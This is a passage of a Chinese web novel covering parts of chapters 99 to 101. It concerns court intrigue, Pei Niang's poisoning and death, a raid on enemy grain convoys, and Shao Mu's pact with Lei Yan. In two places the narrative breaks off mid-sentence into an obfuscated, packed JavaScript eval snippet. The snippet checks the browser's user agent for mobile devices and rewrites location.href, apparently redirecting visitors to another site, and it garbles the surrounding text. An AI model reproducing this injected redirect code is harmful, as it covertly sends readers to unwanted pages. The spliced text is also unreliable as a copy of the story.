很快到了第二日,叶云舒很早就起来梳洗了,她正准备进宫时,又想起当初淑妃中毒时是阿娘替她压制的,那师父会不会知道什么,于是她走到了对面,敲了敲紧闭的房门,换道:“师父?” 里面无人回应她,她又等了等,最后离开了酒楼进宫去了。 叶云舒和齐茂成虽都在太医署当职,但叶云舒作为医师和身为医博士的齐茂成并不常见到,今日她特意去找了齐茂成,却得知齐茂成前几日辞了医博士一职,回家乡去了。 叶云舒满心疑惑,当初身为外翁徒弟的他,在叶家被梁家一案牵连时,他都没离开,为何这时离开了?叶云舒又去了齐茂成的府上,得知他出远门了,叶云舒心中愈发疑惑,一边往医馆走着一边思索着。 到了医馆时,她忽然见邵府的马车经过,叶云舒只看了一眼并未注意,就进了医馆。 马车的邵暮掀开车帘时,马车已经停在了邵晨在郊外的一处别院前,邵暮下了马车,抬眼看了一眼前面华丽的院子,便动身走了进去。 邵暮在院子的一处水榭中落座,看着外面满是待开的荷花,似乎在等什么人。 过了许久,全顺带着抱着琵琶的佩娘前来,佩娘见到邵暮时一愣,又打量了一眼四周。 邵暮见她这般,便只是笑着看她不说话。 佩娘又悄悄打量起邵暮来,她原本在长乐坊写曲,忽然来了一个邵府的人,说是邵晨要请自己前去弹曲子。 要说这邵晨,佩娘自然知道他,邵公子吃喝嫖赌,花名在外,只是邵晨往日里从未找过她,许是知道她背后有人,又或是有人提醒,可今日邵晨却忽然找上门来,佩娘想起之前雷炎去找邵盛一事,于是在焦妈妈拒绝对方时拦了下来,主动跟着邵府的人前来,就是想看看邵晨是何目的。 可这一看,前方只有一位身着紫色襦裙的小姐看着自己,想来想去,眼前这人应当是邵府小姐邵暮,可佩娘怎么也想不起来和这位小姐有过接触。 邵暮看着佩娘脸上被隐藏的不解,笑道:“怎么?女子就不能花钱听曲子吗?” 佩娘低身一礼,“女子当然可以!不知小姐想要听什么曲子?” 邵暮明晃晃地打量着眼前的佩娘,端起一杯茶喝了一口,随意道:“听闻你最近作了首新曲子,弹来听听。” 佩娘一顿,抬头道:“新曲子还未写完,小姐不如换一首吧!” 邵暮将茶杯放下,“还未写完?那看来你是写不完了!” “小姐这是何意?” “今日见到你,让我想起了一个人,我常在宫中走动,太后娘娘身边有位白妈妈,和你长得及其相似。” 邵暮顿了顿,看着佩娘面无表情的看着自己,又道:“还没问你是哪里人呢?也许和她是同乡呢?” 佩娘并未半分慌乱,看着四周并无一人,水榭处也只有邵暮和一个引自己过来的男子,便缓缓将手放到了琵琶的琴头处,“我是个孤儿,怎能和宫里的贵人有关系?” 邵暮看着她手上的动作,道:“若是今日我出了什么意外,那不用等到明日,你和雷炎还有白雪的关系整个洛京城都会知道,你和雷炎可以跑得了,白雪在宫中,她能跑得了吗?” 佩娘摸上琴头的手顿了顿,道:“小姐在说什么!我不明白!” “不明白啊!”邵暮起身走向佩娘,“昨天白雪利用太后的令牌偷偷出宫,和你一道去郊外看了一处新坟,我找人打开了坟,见里面躺着一个少年,若我记得没错,那人应该是燕王的人,燕王虽身子骨不好,却从未听闻他虐待下人,可那人死后却连个像样的墓也没有。” 邵暮看着佩娘因紧抓着琵琶而泛白的手指,又道:“你放心,我只是想看看是谁,之后又将他埋了回去!只是我很好奇,你们一家人到底是为谁卖命的?” 佩娘并未看她,只道:“小姐到底想要什么,不妨明说!” 邵暮又坐了回去,“这就要看你了,我想要代替你的位置,那你就必须消失,彻底消失!” 佩娘思忖了良久,“难道是……为了方景泽?” 邵暮却未回答她,只盯着她看。 佩娘冷哼道:“你们邵府难道不是赵王一党吗?” 邵暮单手撑起下巴架在石桌上,另一只手把玩着桌上的茶杯,“这就不是你该知道的事了!” 邵暮起身往外走去,路过佩娘时,停住了脚步,“我给你时间让你想清楚,不过我希望明晚就能听见你的消息,你也不用想去告诉雷炎和白雪,雷炎昨日出现在长乐坊,我已经派人去告了官,他若不怕便还往长乐坊来,宫中呢!我也向邵贵妃说起,圣上因赤州的事无心管理宫中事宜,以至宫中疏于管理,如今既然是邵贵妃在代管后宫,就应更加严防,让圣上不用分心只专心考虑赤州之事即可,所以……” 邵暮顿了顿,轻叹了口气,“该说的我都说清楚了!你若是自己跑了,我也不怪你!毕竟人哪能不为自己呢?” 说完邵暮便带去全顺离开了。 佩娘在原地站了许久,等她回了长乐坊后,四处查探,果然如邵暮所说,长乐坊周围都守了官府的人,宫里也传不进消息,佩娘在长乐坊那处安静的房中坐了一夜,第二日,她忽然让焦妈妈去请方景泽来。 焦妈妈心中虽有疑惑,毕竟以前从来都是方景泽自己来,佩娘从不主动去请他,但碍于佩娘和方景泽的关系,焦妈妈是有几分忌惮佩娘的,便应下了派人去了魏王府。 派去的人很快就回来了,原来方景泽进宫去了,佩娘又让那人去宫门口守着,焦妈妈听后更是不解了,但也还是让那人去了。 焦妈妈回过头正要问佩娘,就见佩娘转身回了房,焦妈妈心中不悦,撇了撇嘴便离开了。 佩娘梳洗了一番,脱掉了往日里华丽的衣裙,换上了自己最舒适自在的衣物,又命人上了一桌好酒好菜,一切准备就绪后,方景泽还未来。 佩娘坐在桌旁,看着窗外渐渐黑了的天,听着房外热闹的取乐声,忽然她端起面前的酒杯一饮而尽,就拿过了一旁的琵琶置于腿上,指尖轻碰琴弦,一曲凄婉哀转的曲子响起,佩娘慢慢唱道:“铜簧韵脆锵寒竹,新声慢奏移纤玉。眼色暗相钩,秋波横欲流。” 在这曲子中,方景泽缓缓推开了房门,看见佩娘今日的装扮后忽然一愣,佩娘觉得眼前有些模糊,却依然知道那是方景泽。 佩娘并未停下,方景泽也并未打断她,只走到了桌旁坐下,安静地听她唱着。 “雨云深绣户,未便谐衷素。宴罢又成空,梦迷春雨中。” 一曲毕,两人像是都还停在曲子中,都看向彼此没有出声,过了许久,方景泽道:“这便是你近日新作的曲子?” 佩娘抱着琵琶点了点头,方景泽笑道:“我想起第一次见你时,也是在长乐坊,你在前面弹着琵琶,众人围在你的周围,那时我忽然想起先人的话来,满堂兮美人,忽独与余兮目成。” 佩娘听后笑了笑,觉得腹中有些疼痛,知道这是药劲上来了,她倚着琵琶看着方景泽。 方景泽又道:“这曲子很好,只是这后半首我不喜欢。” 佩娘的目光一直在方景泽身上停留,像是怕移开了目光以后便再也见不到了,她开口道:“我是太后娘娘派来监视你的,你早就知道吧!” 方景泽面色一沉,“为何说起这个?” 佩娘像是没听见他的问题一般,额头已经开始冒出了冷汗,她忍着疼痛道:“一直都没能告诉你,佩娘是我来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100462|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后的名字,其实我……我叫霜见!” 方景泽这才察觉出了异常,他立即起身走近霜见,见她面色苍白,满头大汗,急忙问道:“你怎么了?” 霜见再也支撑不住了,琵琶掉到了地上发出了巨大的声响,方景泽迅速抱住她,又朝外喊道:“快来人!快请医师!” 霜见忽然吐出了一口鲜血,焦妈妈闻声走了进来,正瞧见这一幕,吓了一跳,坐到了门口,“这……这……这是……这是怎么回事?” 方景泽朝她吼道:“还不快去请医师!” 霜见拉住了方景泽的手,方景泽便立即回头,道:“你放心!你会没事的!” 说着方景泽一把将霜见抱起,一路跑出了长乐坊,直奔医馆,方景泽怀中的霜见见方景泽下巴像是有汗水,抬手想要替他擦,却还未抬起就掉了下去。 方景泽楞了,他不敢低头去看怀中的霜见,只一直喃喃道:“找医者!找医者就好!” 四周的行人都疑惑地打量着他们,长乐坊对面的酒楼上,一身被帏帽遮住的邵暮低头看着方景泽抱着佩娘离开。 一转十个日夜,月挂中天,夜风轻拂,赤州城外,沈安宁带着一支先锋队藏身在夜色中,忽然见远处有微弱火光,沈安宁抬手示意了一旁的一位将领,那将领便小声应了一声后离开了。 就在火光越来越近时,沈安宁抬手,众人都看着低下的杞国士兵,忽然沈安宁一挥手,无数大石滚下了山坡,杞国押运粮草的士兵混乱不堪,其中有一人见此情形,立即稳着马儿朝四周查看。 沈安宁一眼便见到了杞国将领周山,此人正是杞国主帅孔德明的得力干将,周山身旁正是穆文钦,又是一道示意,一个士兵发了哨笛,忽然杞国队伍后方冲出来了一队人马,周山立即护着穆文钦,又急忙下令道:“不要慌乱!快保护粮草!” 双方厮杀了起来,沈安宁见差不多了,便带着身后蠢蠢欲动的队伍冲了下去,穆文钦一眼就看见了最前方的沈安宁。 沈安宁手提红缨长枪,所到之处无人能阻,眼见着自己这边就要撑不住了,穆文钦下令道:“点火烧了粮草!我们撤!” 周山闻言一怔,正要阻止,就见沈安宁的人已经到了粮草旁,见火烧不成,周山拉着还要上前的穆文钦离开了,杞国军队也边打边撤了。 沈安宁下令不要再追,又让人检查了粮草,见二十几车都是粮草,才放下心来,不枉蹲了这十几日。 沈安宁举起长枪,下令道:“带上粮草!打道回府!” 众士兵士气高涨,个个脸上都带着笑,虽是偷袭,但这却是自赤州失守以来第一次打赢杞国人。 池州城南边的一个分叉路口,一身商人装扮的方景淮焦急地等待着,一旁同样是商人装扮的方书君和张千也不时朝南边张望,等了许久,终于来了几支商队,每支商队都拉着十几辆货物。 方景淮欣喜万分,身后的张千和方书君也终于展开了眉。 一行人检查了藏在货物中的粮草,才终于朝池州军营而去。 等方景淮等人到池州军营时,天已被霞光侵染成橙色,军营的岗哨正要上前来盘查,一见坐在椅子上的张千,便急忙道:“张将军!你回来了!” 张千道:“快去通报!我们给兄弟们送粮草来了!” 士兵听后发了哨笛,又让人守着,自己则引着他们带着粮草回了军营。 一到军营,众人还在粮草兴奋,方景淮急忙四处寻找沈安宁,忽然见李万和江时鸣从大帐走了出来,却没看见沈安宁,方景淮立即担忧地朝两人问道:“阿宁呢?” 李万还未来得及回答,就听见军营门口又是一阵喧闹。 方景淮回头朝军营门口望去,夕阳下的沈安宁一身铠甲,一根白色发带将黑发高高束起,她一手拉着缰绳一手提着红缨枪立在马上,霞光透过沈安宁照向自己,也让她有些凌乱的碎发在金光里舞动。 99. 第九十九章 人情 皓月当空,池州的夜里还是有些冷,军营中久违的热闹了起来,方景淮和方书君第一次进军营,自然对一切都感到新奇,张千带着方书君和江时鸣和诸位将士们聊着,方景淮四处看了看,没看见沈安宁,便正要往大帐走去。 沈安宁拿了一见披风出了大帐,看着军营中因这一次小的胜利而恢复的生气,沈安宁心中也算有些欣慰,她见方景淮正站在不远处看着自己,于是朝他走了过去,将手中披风给他披上。 “池州不比洛京,虽到了夏初,晚上还是很冷的,你把这个披上。” 方景淮低头看着身上的披风,笑道:“好!” 沈安宁朝将士们望去,“还没来得及问你,你怎么来了?” 方景淮也回头看去,“为了……粮草啊!” 沈安宁侧头看他,“一路上不容易吧!” 方景淮笑道:“扮成了商人一路上方便了许多,给那群劫匪的几十包黄土外是放了点粮食,虽是浪费了一点粮食,但将粮草安全送达了,也算弥补罪过了!” 沈安宁回头看向人群中的张千,道:“想出去看看吗?” 方景淮一楞,回头看向沈安宁,见沈安宁已经转身朝马厩而去了,便急忙跟上,两人骑着马出了军营,驰骋在黑夜中的草原上,跑了许久一直跑到了一处悬崖旁,沈安宁才停下,翻身下了马,方景淮见状也下了马,跟着沈安宁一道将缰绳捆在了一旁的树上。 沈安宁朝悬崖边走去,方景淮不明所以,也跟着上前,走到涯边时忽然一愣,见远处有一片光亮,如同今夜的星星一般,洒落在地上。 方景淮还未发问,沈安宁便盯着那处光亮道:“那是赤州城!” 正盯着那处的方景淮又是一楞,“原来这就是赤州城。” 沈安宁双手抱胸盯着那处,“用不了多久,我一定会收复赤州城的!” 方景淮回头看向她,点了点头:“我信!” 沈安宁将目光收回,又侧头对上方景淮的目光,“方书君怎么来了?” 方景淮闻言看了看地上,就坐了下来,解释道:“沈家之事,我知道你定不会就这样放下的,但我们势单力薄,即使将来你回到洛京,虽有军功,可毕竟邵陆两家在朝中的势力根深蒂固,我们还是得找一个帮手,杜家虽一直独立于邵陆两家,可依杜侍中的性子,到时也许并不会帮我们,反倒是杜桢,我们可以试试。” 沈安宁也在方景淮身旁坐下,听他说着。 方景淮接着说道:“杜桢和方书君在端州时就认识,杜桢这些年一直闭门读书,可从去年方书君来了洛京,他今年便能一举考中状元。” 沈安宁接道:“方书君有意留在洛京,又因为这一年洛京确实发生了很多事,让他留下得不招人注意!” 方景淮严肃道:“况且……还有他的……身世!” 沈安宁疑惑地看向方景淮,“身世?” 方景淮点了点头,“你还记得当时瘟病时,我们那晚遇见了他前去找一个妇人吗?” “记得。” “那日我和叶医师前去打听了一下,发现方书君去找的那个妇人,原来是个稳婆,二十年前常给王公大臣的家眷接生。” 沈安宁思忖了片刻,“所以……他有意留下是为了这个?” 方景淮思索道:“除了关于他自己的身世,他留下来也许还有别的打算!” 沈安宁闻言,侧头朝方景淮看去,便撞进了一双明澈的眼眸,两人视线交汇时,像是在传达着什么。 夜幕很快落下,沈安宁见东方已有了点点霞光,正要回头叫醒靠着树睡着的方景淮时,就见他不知何时已经醒了,正看着自己,沈安宁起身道:“你们今天早点启程回京吧!你身上的毒还没解,还是在叶姑娘身旁要安心些!” 方景淮并未收回目光,只道:“梁府的事,你都知道了?” 沈安宁一怔,方景淮笑道:“叶医师都和我说了,对不起!我不该错怪镇北侯!” 沈安宁上前朝他伸出了手,方景淮一愣,停顿了许久,才拉着沈安宁的手借力起了身,沈安宁又收回了手,“回军营吧!” 说着沈安宁便翻身上了马,看着还在发楞的方景淮,也不催促,方景淮也上了马,沈安宁忽然又道:“昨夜提起瘟病,我忽然想起来,当初瘟病的事情还未查清楚,你回去后记得问问叶姑娘和齐博士,我总觉得这件事不是那么简单!” 方景淮应了声,两人便一道回了军营。 到了军营后,两人从马厩出来,忽然方景淮见一旁放着两架巨大的不知是什么的东西,它的上方是一根笔直的铁管,铁管下方是几根粗壮的木材组成的支架,方景淮上前仔细打量了几眼,问道:“这是什么?” 沈安宁看着那两架巨大的武器,一时有些难过,“这是赵将军回平川前和我说的火器。” 方景淮闻言一顿,回头看向沈安宁,这时远处传来江时鸣的声音,“方公子,原来你在这啊!张将军要我告诉你,要准备回京复命了!” 方景淮点了点头,看了一眼沈安宁,两人互相点了点头,方景淮便跟着江时鸣离开了,江时鸣跟方景淮走了一阵后低声问道:“方公子!我们走后你还去过沈府吗?我阿爹……” “当时你不告而别的时候,不就应该想到结果了吗?” 江时鸣低头道:“我没有不告而别,我给阿爹留了信!” 方景淮停下脚步道:“既然已经选择了!那便不要后悔了!” 江时鸣想了想,认真地点了点头,两人又朝外走去,还没走几步,方景淮又停下了,朝江时鸣道:“我就要回京了!你是阿宁的表哥,劳烦你多照顾她一点!” 江时鸣听着这话感觉又哪里不对,但还是应下了,方景淮道了多谢就朝张千、方书君等走去。 沈安宁、李万等人送到了军营外,别过了沈安宁、李万等人,方景淮、张千等人便踏上了回程的路途,回去的路上没有来时那么紧张,所以他们走得官道。 张千还是和方景淮一道坐马车,张千见方景淮正闭着眼养神,想起昨夜他和沈安宁一夜未归,于是咳了两声,道:“这回一见阿宁,感觉她像是长高了一样!” 方景淮睁开了眼,一时不知张千这话是何意,想了想还是开口道:“张将军,以阿宁现在的年岁,应该不会再长了!” 张千瞥了他一眼,继续道:“阿宁和阿洵小时候经常被丢到草原上帮牧民放羊,一开始骑着马,但是毕竟年纪小马儿也不听话,阿宁就下了马追着羊跑,后来渐渐的那个一直追着羊跑的泥姑娘,长成了骑着马儿赶羊的大姑娘了!” 方景淮像是来了兴致,坐起了身来听张千说。 张千却换了张严肃的面容,“如今大哥大嫂是走了,但是还有我、还有她师父和我二嫂她们!若是有人想要欺负她,我们一定不会放过他!” 方景淮这才听出了张千话里话外的意思,也收起了玩笑,认真道:“我知道!” 张千看着方景淮没再说话,队伍一路直往洛京而去。 一路的奔波让方景淮有些 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方书君对方景淮的病也有些听闻,便也没再多问,坐下端起了方景淮给自己的茶水喝了一口。 方景淮并未开口,只又给自己倒了一杯茶,等着方书君先开口。 方书君对于今天方景淮所做的一切再熟悉不过了,这招收拢人心自己就曾用在谷鹏身上,只是自己不明白,方景淮是为了什么,于是方书君道:“今日之事多谢了!” 方景淮摇了摇头,“小事!” 方书君打量着方景淮,道:“只是我一直都明白,天下没有白捡的便宜,你将你的功劳让给我,是想让我为你做什么?” 方景淮放下茶杯道:“我只是想告诉你,我有能力可以帮你,但,是你的我决不会碰!况且,这件事换你欠我一个人情,不知道行不行?” 方书君思忖道:“那就得要看什么样的人情了!” 方景淮笑道:“你绝对能做到的人情!” 方书君盯着方景淮看了片刻,道:“那我便先应下!” 方景淮笑着道了声多谢,方书君又道:“既然你说你能帮我,那我可要先看看你诚意!” 方景淮点了点头,“应该的!” 方书君又打量了一眼方景淮,便起身告辞了,方景淮起身送他,但方书君见方景淮面色不佳,便推辞了,方景淮也没客气,说不送就真的坐下了。 过了许久,梁妈妈端着药来了方景淮的书房,见方景淮正在书案上写着什么,于是她小声地走进,原来方景淮正在那把空白的扇子上题字,扇面也画上了一幅画,画中少女骑着马提着红缨枪,一望无际的草原上,夕阳透过少女像是照亮了扇面。 梁妈妈笑道:“这是沈姑娘!” 方景淮没有抬头,只轻轻笑了一声,在画的一旁提下:良马既闲,丽服有晖。左揽繁弱,右接忘归。风驰电逝,蹑景追飞。凌厉中原,顾盼生姿。 放下笔后,方景淮才抬起了头,看着青铜扇上的画笑了笑。 此时洛京城另一边的长乐坊,邵暮已在对面的酒楼坐了几天了,本以为今日也要无功而返时,站在窗边的全顺突然道:“小姐!你看!那是你要等的人吗?” 邵暮起身走向窗边,顺着全顺指的方向看去,果然在长乐坊远处的一处檐廊下看见了等的人。 一个身着石青色长衫,带着黑色幞头的男子正藏身在檐廊转角处,朝长乐坊看着,那人正是雷炎。 100. 第一百章 合作 雷炎躲在檐廊下小心地观察着长乐坊四周,前几日这里突然守了很多官兵让他难以靠近,他每天都会过来看一眼,直到今日才发现官兵都撤了,但他仍不放心,所以躲在此处,等着时机进长乐坊。 忽然一队巡逻的士兵自他前方而来,雷炎低着头,转身朝后面走去,还未走几步,又是一队巡逻的官兵转了个弯朝自己这边走来,顿时,雷炎进退两难,他靠近一旁的小商摊,摊主见有客人来了便热情道:“老爷!看看要点什么?我们的货都是物美价廉!” 雷炎侧头观察着两队官兵,并未听摊主说什么,摊主打量着雷炎,见这人不像是来买东西的,于是驱赶道:“走走走!不买就别在我这耽误我做生意!” 这话让两队正要离开的官兵注意到了这边,雷炎低着头,一个官兵见状喊道:“喂!转过身来!” 雷炎的手紧紧抓着,正想着要怎样脱身时,忽然一旁传来一个女子的声音。 “吩咐你去买个东西,你磨磨蹭蹭这么久!” 雷炎侧头看去,见邵暮带着一个男子立在一旁,邵暮朝男子示意,男子便上前扯住了雷炎,“小姐吩咐你来买东西,你是不是跑这来偷懒了!看我回去让管家扣了你这个月的月钱!” 说着男子便扯着雷炎往回走,邵暮正要回头跟上,又见官兵还在看着自己,便道:“各位官爷是有什么事吗?” 官兵自然知道这是邵国公府上的小姐,互相交换着眼神,最后道:“没什么事!邵小姐慢走!” 邵暮点了点头,回过头让全顺扯着雷炎离开了,官兵们看着有些奇怪,但碍于邵国公府也没再追下去,都分开巡逻去了。 到了一处巷子时,雷炎挣脱开全顺的束缚,回头看着邵暮,“你想干什么?” 全顺气道:“你这人怎么回事啊?我家小姐救你,你连句感谢的话都没有也就算了!居然还这样和小姐说话!” 雷炎冷哼一声,“邵小姐是又想从我这知道什么?” 邵暮笑了笑,“我是来告诉你,佩娘……也就是你女儿,她死了!” 雷炎闻言一楞,在邵暮和全顺还未反应过来时,已几步上前掐着邵暮的脖子将她压到了一旁的墙上,恶狠狠道:“是你!” 全顺这才反应过来,上前想要去救邵暮,却被雷炎一掌打倒在地,邵暮呼吸有些困难,她瞥了一眼地上是全顺,道:“不是……不是我!但……我知道……知道是谁!” 雷炎盯着邵暮看了许久,似乎在确定邵暮说的话是否可信,在邵暮快要窒息时,雷炎才放开了邵暮的脖子,邵暮赶紧大口呼吸起来。 雷炎问道:“是谁?” 邵暮缓了缓,才直起身子来,开口道:“是邵晨!” 雷炎打量着邵暮,邵暮揉了揉脖子,“你若不信,你可以去长乐坊问,当日是邵晨请佩娘去了郊外别院,回去佩娘救自杀了!” 全顺抬头看着邵暮,雷炎哼了一声,转身离开了。 邵暮揉着脖子看向雷炎的背影,一旁的全顺从地上爬了起来。 雷炎谨慎地溜进了长乐坊打听了一番,最后得到的结果和邵暮说的一样,他出了长乐坊,正要离去时忽然见对面站在刚刚跟在邵暮身后的那个男子,雷炎想了想,跟着男子一道进了长乐坊对面的酒楼,两人到了二楼时,邵暮正带着帏帽坐在窗边喝茶。 全顺等雷炎进去后看了看门外然后关上了门,守在了门外,邵暮没有回头,道:“打听到了?是不是和我说得一样?” 雷炎在邵暮对面坐下,毫不客气地端起茶壶为自己倒了一杯茶,“你是为了什么?就不怕我杀了邵晨吗?” 邵暮道:“我是为了什么?当初不是你告诉我的吗?至于邵晨?邵家对我而言意味着什么,我也以为你明白?杀了他对我来说有什么损失吗?” 雷炎端量着面前的邵暮,“你想让我帮你杀了王夫人?” 邵暮摇了摇头,“杀了她,我依然不能改变什么,况且,报仇还是要自己动手才算。” 雷炎眉头微皱,“那你要什么?” 邵暮道:“我要一人之下万人之上,我要邵家跪在我面前!” 雷炎冷笑一声道:“以我看来,你们这位皇帝虽无能,但也不是个好色之人,你的年纪和几位他的女儿差不多,他就更不会纳你为妃了!” 邵暮冷哼一声道:“谁要做他的皇后了?” 雷炎一愣,盯着邵暮看了看,“那你看中那位皇子了?” 邵暮道:“这事容后再说,我们先来说说你的事!” “我的事?” 邵暮见雷炎茶杯空了,又给他添了茶,“虽然佩娘姑娘去世了!可你还有白妈妈在宫中等你!” 雷炎一怔,眼色一沉,盯着邵暮看时已有杀机。 邵暮笑道:“你不用担心,若是我要揭发她,刚刚便不会救你!” 雷炎没了刚刚戏谑,问道:“你到底想要什么?” 邵暮看着雷炎道:“我想和你们合作,现在宫中已经加强了防备,你们原来那套是传递不了消息了,我常常进宫看望姑姑,加上近日邵修齐去世,我进宫陪邵贵妃的时间就更多了!” 说着邵暮端起茶杯,又道:“你若不信我说的,大可以再去宫门口看看!” 雷炎看着喝茶的邵暮,看来今日邵暮是有备而来,雷炎问道:“合作?有来有往才叫合作,你能帮我做什么?传递消息吗?” 邵暮点了点头,“若你们能帮我登上后位,等事成以后,我便拿赤州十座城池和邵晨一道送给你们!如何?” 雷炎一愣,邵暮思量了片刻,她虽不懂军事,可看你们这么担心沈安宁去池州一事,于是又道:“你有得是时间可以考虑,但沈安宁去了池州,我想用不了多久,赤州城便能收复了!你是否要等那时再答复我呢?” 雷炎思忖了许久,最后道:“那你看中了那位皇子?” 邵暮一笑,道:“谁能坐上那个位置,我就看中谁!” 雷炎想了想,“行!不过为了表示邵小姐的诚意,可否让我见白雪一面?” 邵暮放下了茶杯,笑道:“你有什么想说的,我可以代为告知!” 雷炎盯着了邵暮看了会,随后笑道:“看来我当初确实没看错人,好!那我便和你合作!” 邵暮笑了笑。 雷炎走后,全顺走了进来,见邵暮一人立在窗边,想了想笑着上前道:“恭喜小姐!” “恭喜什么?” 全顺走到了邵暮身旁,笑着说道:“恭喜小姐达到目的了啊!” 邵暮没有说话,只看着窗外。 全顺看着一身被帏帽遮住的邵暮,一时分不清她的情绪,但想了想,还是开口道:“小姐,能不能让我见见山桃?” 邵暮侧头看向全顺,“山桃还不知道你来找她,况且当初是你们把她卖了,她心中有气,等我回去试探一下,再看着情况慢慢和她说,等她接受你了,我再让你们兄妹团聚。” 全顺有些气馁,邵暮又道:“你放心吧!既然我答应了你,我就一定会让她原谅你的!” 全顺知道当初伤害了山桃,山桃气他也是应该的,况且现在已经找到山桃了,未来日子还长,一定会等到山桃愿意见自己。 于是全顺点了点头,“多谢小姐!” 邵暮应了声,又转过头看向了窗外。 第二日,邵暮一早就进了宫,陪邵贵妃聊了几句,便往太后的懿祥宫这边走着,果然遇见了带着宫人走出来的白妈妈,邵暮笑着上前问礼道:“白妈妈!” 白雪觉得很是奇怪,但还是回了礼,邵暮忽然低声说道:“白妈妈,我那日经过长乐坊,遇见了一位姓雷的男子,他让我告诉你,佩娘没了!” 白雪听后一怔,片刻又恢复了过来,挥了挥手示意众人退下,才警惕地朝邵暮道:“邵小姐在说什么?我不认识宫外什么人!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128016|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邵暮道:“认不认识都无所谓,该说的我都说了,便完成了我的任务!” 白雪问道:“什么任务?” 邵暮看向白雪,并未回答,只是笑了笑。 白雪道:“那……佩娘现在在何处?” 邵暮想了想,“我也不知,也许在魏王府?” 白雪眉头紧皱,“是谁杀了她?” 邵暮顿了顿,道:“邵晨!” 白雪的手紧握成拳,抬头盯着邵暮,邵暮道:“如今宫中戒备森严,我能帮他进宫,就看你们怎么报答我了!” 白雪正要说话,一旁忽然传来响声,两人还未来得及去看是什么,就见那边一群宫人经过,白雪看了看天,道:“太后娘娘要起了!” 邵暮点了点头,白雪便离开了,邵暮在原地站了许久,才唤道:“银杏?” 邵暮话音刚落,刚刚发出响声的地方出来了一位宫女。 银杏上前道:“我听闻邵小姐今日进宫了,正要去找你就见你来了这见白妈妈,于是就躲了起来!邵小姐不要怪罪!” 邵暮道:“找我?” 银杏笑道:“是啊!不知上次和邵小姐提的事,邵小姐考虑得怎么样?” 邵暮打量了一眼眼前的人,道:“我觉得可行!” 银杏立即跪谢道:“那日后我便是小姐的人了!” 邵暮瞥了一眼地上的银杏,道:“我会和姑姑说让你去凝黛宫伺候的!” 银杏又道了谢,随后邵暮看着时辰便朝凝黛宫去辞行,正巧这时叶云舒替邵贵妃看了诊,邵欣因邵修齐的死忧伤过度,有些虚弱,叶云舒给她开了个方子,方昭溪让山丹送叶云舒出去,便遇见了正要进凝黛宫的邵暮,两人互相道了一礼,叶云舒便回了太医署。 叶云舒收拾了一番便出了宫,准备去燕王府时想起自己给方景淮拿了几副药,只是早晨出门的急忘在了酒楼,于是叶云舒先回了躺酒楼,拿了药后正要出去,又想起几日没见师父了,便去敲了敲门,依旧是没人回应。 叶云舒想了想,朝里面问道:“师父?徒儿进来了?” 说着叶云舒推开了房门,房间里空无一人,叶云舒回头找了店小二问了才知道,原来那间房早几天就说了不用送饭了,看来师父走了几天了。 叶云舒一边朝燕王府走,一边想道:师父是为了当初梁家灭门一案来的洛京,难道他是嫌自己没有尽快推动这件事?可阿娘的手记中后半部都是对淑妃中得毒的记载,她最想的就是替阿娘解了淑妃身上的毒,可惜她没能救下淑妃,现在方景淮身上的毒就是她最重要的事。 叶云舒抬头看向前方燕王府的牌匾,若是能解了方景淮身上毒,算不算是替阿娘完成了她的遗愿? 叶云舒收拾好了自己的情绪,上前敲了敲门,通报后被下人带了进了方景淮的书房。 方景淮一见叶云舒便道:“你来得正好,我正好有事找你!” 叶云舒一边将手中的药给了梁妈妈,一边正要听方景淮说话,梁妈妈却只盯着叶云舒看,叶云舒看梁妈妈没有接药有些疑惑地看她,“怎么了?我脸上有东西?” 梁妈妈上下打量地看了一圈,最后双目竟有些泪花,她接过了药,摇头道:“没事,没事!” 说着梁妈妈便走了,叶云舒不解,方景淮道:“她从小跟着我阿娘,可能看你和……你别介意!” 叶云舒顿时明白了,自己和母亲长得确实有几分相似,她叹了口气,道:“对了!你刚要说什么?” 方景淮让她坐下,随后道:“阿宁提起当初瘟病一事还没有结论,所以我想找你和齐博士问问!” 叶云舒道:“我也有事想找齐博士,可惜,他辞官回乡了!” “回乡?” 叶云舒点了点头,想了想又道:“还有一人,我觉得他们可能见面了!” “谁?” 叶云舒叹了口气,“我师父!” 101. 第一百零一章 失踪 方景淮问道:“你师父?” 叶云舒端起茶喝了一口,轻叹了口气,“我师父是当时阿翁的徒弟,也就是阿娘和齐博士的师兄,陶峰。” 方景淮也坐了下来,想了想,“我好像听说过此人,只是他好像很早就离开皇宫了!” “是啊!很早就离开了!”叶云舒顿了顿,又道:“阿翁当初的这三个徒弟中,属阿娘天赋最高,和师父从小就互相较量,也在这期间对阿娘有了超脱师兄妹之间的感情,可阿娘和阿爹青梅竹马,早以许下了终身,阿娘成亲那天,师父一气之下离开了皇宫,此后不再和阿娘她们联系。” “等我出身后,阿娘和阿爹想让师父前来我的满月宴,才得知原来师父在陵州,并且一直关注着阿娘,师父没来我的满月宴,并从那以后,和阿娘她们彻底没了联系。” 叶云舒停了片刻,才接着说道:“直到梁家被灭门后,阿娘将我藏在暗格之中,我险些被发现,是镇北侯,他将我藏到了那个井底,让我等他回来,我等到了井口没了声音,又等了许久,出门为我买糖葫芦的梁文回来了,她是梁府管家的女儿,她在井底找到了我,将我带出了梁府,她记得阿娘有个师兄在陵州,于是带我前去投奔师父,只是一路上为了躲避官兵,她带着我走得小道,到了陵州边界时我们遇上了旱灾,我又突发了高热,她将食物都留给了我,自己……活活饿死了!” 